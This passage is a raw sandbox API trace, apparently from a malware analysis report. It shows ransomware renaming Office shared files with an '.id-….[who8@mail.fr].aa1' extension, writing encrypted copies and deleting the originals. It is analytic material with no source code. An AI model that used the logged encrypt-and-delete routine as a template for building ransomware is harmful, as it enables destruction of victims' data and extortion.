dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.479] lstrlenW (lpString=".doc") returned 4 [0218.479] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0218.479] lstrlenW (lpString=".docx") returned 5 [0218.479] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0218.479] lstrlenW (lpString=".pdf") returned 4 [0218.479] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0218.479] lstrlenW (lpString=".xls") returned 4 [0218.479] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0218.479] lstrlenW (lpString=".xlsx") returned 5 [0218.479] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0218.479] lstrlenW (lpString=".ppt") returned 4 [0218.479] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0218.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.479] lstrlenW (lpString=".zip") returned 4 [0218.479] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0218.479] lstrlenW (lpString=".rar") returned 4 [0218.479] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0218.479] lstrlenW (lpString=".bz2") returned 4 [0218.479] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0218.479] lstrlenW (lpString=".7z") returned 3 [0218.479] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0218.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.479] lstrlenW (lpString=".dbf") returned 4 [0218.479] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0218.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.479] lstrlenW (lpString=".1cd") returned 4 [0218.479] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0218.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.479] lstrlenW (lpString=".jpg") returned 4 [0218.479] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0218.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.480] lstrlenW (lpString=".doc") returned 4 [0218.480] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0218.480] lstrlenW (lpString=".docx") returned 5 [0218.480] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0218.480] lstrlenW (lpString=".pdf") returned 4 [0218.480] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0218.480] lstrlenW (lpString=".xls") returned 4 [0218.480] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0218.480] lstrlenW (lpString=".xlsx") returned 5 [0218.480] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0218.480] lstrlenW (lpString=".ppt") returned 4 [0218.480] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0218.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.480] lstrlenW (lpString=".zip") returned 4 [0218.480] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0218.480] lstrlenW (lpString=".rar") returned 4 [0218.480] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0218.480] lstrlenW (lpString=".bz2") returned 4 [0218.480] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0218.480] lstrlenW (lpString=".7z") returned 3 [0218.480] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0218.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.480] lstrlenW (lpString=".dbf") returned 4 [0218.480] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0218.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.480] lstrlenW (lpString=".1cd") returned 4 [0218.480] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0218.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0218.480] lstrlenW (lpString=".jpg") returned 4 [0218.481] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0218.481] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0218.481] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0218.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0218.519] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2848) returned 1 [0218.525] CloseHandle (hObject=0x178) returned 1 [0218.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0218.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0218.525] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.526] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0218.578] GetLastError () returned 0x0 [0218.578] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xb20, lpOverlapped=0x0) returned 1 [0218.809] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0218.810] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.810] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0218.811] SetEndOfFile (hFile=0x208) returned 1 [0218.811] CloseHandle (hObject=0x208) returned 1 [0218.811] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.811] SetEndOfFile (hFile=0x178) returned 1 [0218.812] CloseHandle (hObject=0x178) returned 1 [0218.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0218.812] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0218.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.813] lstrlenW (lpString=".doc") returned 4 [0218.813] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0218.813] lstrlenW (lpString=".docx") returned 5 [0218.813] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0218.813] lstrlenW (lpString=".pdf") returned 4 [0218.813] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0218.813] lstrlenW (lpString=".xls") returned 4 [0218.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0218.813] lstrlenW (lpString=".xlsx") returned 5 [0218.813] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0218.813] lstrlenW (lpString=".ppt") returned 4 [0218.813] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0218.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.813] lstrlenW (lpString=".zip") returned 4 [0218.813] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0218.813] lstrlenW (lpString=".rar") returned 4 [0218.813] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0218.813] lstrlenW (lpString=".bz2") returned 4 [0218.813] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0218.813] lstrlenW (lpString=".7z") returned 3 [0218.813] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0218.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.813] lstrlenW (lpString=".dbf") returned 4 [0218.813] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0218.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.813] lstrlenW (lpString=".1cd") returned 4 [0218.813] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0218.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.814] lstrlenW (lpString=".jpg") returned 4 [0218.814] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0218.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.814] lstrlenW (lpString=".doc") returned 4 [0218.814] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0218.814] lstrlenW (lpString=".docx") returned 5 [0218.814] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0218.814] lstrlenW (lpString=".pdf") returned 4 [0218.814] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0218.814] lstrlenW (lpString=".xls") returned 4 [0218.814] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0218.814] lstrlenW (lpString=".xlsx") returned 5 [0218.814] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0218.814] lstrlenW (lpString=".ppt") returned 4 [0218.814] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0218.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.814] lstrlenW (lpString=".zip") returned 4 [0218.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0218.814] lstrlenW (lpString=".rar") returned 4 [0218.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0218.814] lstrlenW (lpString=".bz2") returned 4 [0218.814] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0218.814] lstrlenW (lpString=".7z") returned 3 [0218.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0218.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.814] lstrlenW (lpString=".dbf") returned 4 [0218.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0218.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.815] lstrlenW (lpString=".1cd") returned 4 [0218.815] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0218.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0218.815] lstrlenW (lpString=".jpg") returned 4 [0218.815] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0218.815] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0218.815] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0218.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0218.895] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=20627) returned 1 [0218.895] CloseHandle (hObject=0x170) returned 1 [0218.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0218.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0218.895] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.895] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0218.896] GetLastError () returned 0x0 [0218.896] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x5093, lpOverlapped=0x0) returned 1 [0219.361] WriteFile (in: hFile=0x178, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0219.362] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.362] WriteFile (in: hFile=0x178, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.362] SetEndOfFile (hFile=0x178) returned 1 [0219.362] CloseHandle (hObject=0x178) returned 1 [0219.363] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.363] SetEndOfFile (hFile=0x170) returned 1 [0219.364] CloseHandle (hObject=0x170) returned 1 [0219.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0219.364] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0219.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.364] lstrlenW (lpString=".doc") returned 4 [0219.364] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0219.364] lstrlenW (lpString=".docx") returned 5 [0219.364] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0219.364] lstrlenW (lpString=".pdf") returned 4 [0219.364] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0219.364] lstrlenW (lpString=".xls") returned 4 [0219.364] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0219.365] lstrlenW (lpString=".xlsx") returned 5 [0219.365] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0219.365] lstrlenW (lpString=".ppt") returned 4 [0219.365] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0219.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.365] lstrlenW (lpString=".zip") returned 4 [0219.365] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0219.365] lstrlenW (lpString=".rar") returned 4 [0219.365] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0219.365] lstrlenW (lpString=".bz2") returned 4 [0219.365] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0219.365] lstrlenW (lpString=".7z") returned 3 [0219.365] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0219.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.365] lstrlenW (lpString=".dbf") returned 4 [0219.365] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0219.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.365] lstrlenW (lpString=".1cd") returned 4 [0219.365] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0219.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.365] lstrlenW (lpString=".jpg") returned 4 [0219.365] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0219.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.366] lstrlenW (lpString=".doc") returned 4 [0219.366] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0219.366] lstrlenW (lpString=".docx") returned 5 [0219.366] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0219.366] lstrlenW (lpString=".pdf") returned 4 [0219.366] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0219.366] lstrlenW (lpString=".xls") returned 4 [0219.366] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0219.366] lstrlenW (lpString=".xlsx") returned 5 [0219.366] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0219.366] lstrlenW (lpString=".ppt") returned 4 [0219.366] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0219.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.366] lstrlenW (lpString=".zip") returned 4 [0219.366] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0219.366] lstrlenW (lpString=".rar") returned 4 [0219.366] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0219.366] lstrlenW (lpString=".bz2") returned 4 [0219.366] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0219.366] lstrlenW (lpString=".7z") returned 3 [0219.366] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0219.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.366] lstrlenW (lpString=".dbf") returned 4 [0219.366] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0219.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.366] lstrlenW (lpString=".1cd") returned 4 [0219.366] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0219.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0219.366] lstrlenW (lpString=".jpg") returned 4 [0219.366] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0219.367] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0219.367] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0219.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0219.367] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1925) returned 1 [0219.367] CloseHandle (hObject=0x170) returned 1 [0219.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0219.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0219.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0219.367] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.367] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0220.829] GetLastError () returned 0x0 [0220.829] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x785, lpOverlapped=0x0) returned 1 [0220.908] WriteFile (in: hFile=0x210, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x790, lpOverlapped=0x0) returned 1 [0220.909] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.909] WriteFile (in: hFile=0x210, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0220.909] SetEndOfFile (hFile=0x210) returned 1 [0220.909] CloseHandle (hObject=0x210) returned 1 [0220.910] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.910] SetEndOfFile (hFile=0x170) returned 1 [0220.911] CloseHandle (hObject=0x170) returned 1 [0220.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0220.911] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0220.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.912] lstrlenW (lpString=".doc") returned 4 